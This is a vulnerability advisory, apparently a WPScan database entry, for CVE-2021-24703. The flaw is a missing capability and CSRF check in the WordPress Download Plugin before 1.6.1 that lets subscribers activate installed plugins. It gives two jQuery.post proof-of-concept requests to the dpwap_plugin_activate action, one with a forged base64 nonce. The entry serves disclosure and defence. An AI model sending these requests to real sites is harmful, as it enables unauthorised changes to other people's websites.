WordPress Plugin Vulnerabilities

Download Plugin < 1.6.1 - Subscriber+ Arbitrary Plugin Activation

Description

The plugin does not have capability and CSRF checks in the dpwap_plugin_activate AJAX action, allowing any authenticated users, such as subscribers, to activate plugins that are already installed.

Proof of Concept

v < 1.5.9 - jQuery.post(ajaxurl,{ action:"dpwap_plugin_activate", dpwap_url:"hello.php" })

v < 1.6.0 - jQuery.post(ajaxurl,{ action:"dpwap_plugin_activate", dpwap_url:"hello.php", nonce: base64('dpwap-metagauss') })

Affects Plugins

Plugin icon
download-plugin
Fixed in 1.6.1

References

CVE
CVE-2021-24703

Classification

Type
ACCESS CONTROLS
OWASP top 10
A5: Broken Access Control
CWE
CWE-284
CVSS
4.3 (medium)

Miscellaneous

Original Researcher
apple502j
Submitter
apple502j
Verified
Yes
WPVDB ID
4ed8296e-1306-481f-9a22-723b051122c0

Timeline

Publicly Published
2021-10-19 (about 2 years ago)
Added
2021-10-19 (about 2 years ago)
Last Updated
2022-04-08 (about 1 years ago)

Other

Published
Title
Published
2021-01-22
Title
Doneren met Mollie < 2.8.5 - Unauthorised CSV Export leading to Sensitive Data Disclosure
Published
2021-05-07
Title
Leads-5050 Visitor Insights < 1.0.4 - Unauthenticated License Change
Published
2022-02-02
Title
Custom Content Shortcode < 4.0.2 - Authenticated Arbitrary File Access / LFI
Published
2021-07-07
Title
WP Upload Restriction < 2.2.5 - Missing Access Control in getSelectedMimeTypesByRole
Published
2021-09-20
Title
Multiple WooCommerce Add-Ons - Low Priv Arbitrary Blog Options Update/Access/Deletion & Plugin's Settings Update/Export/Import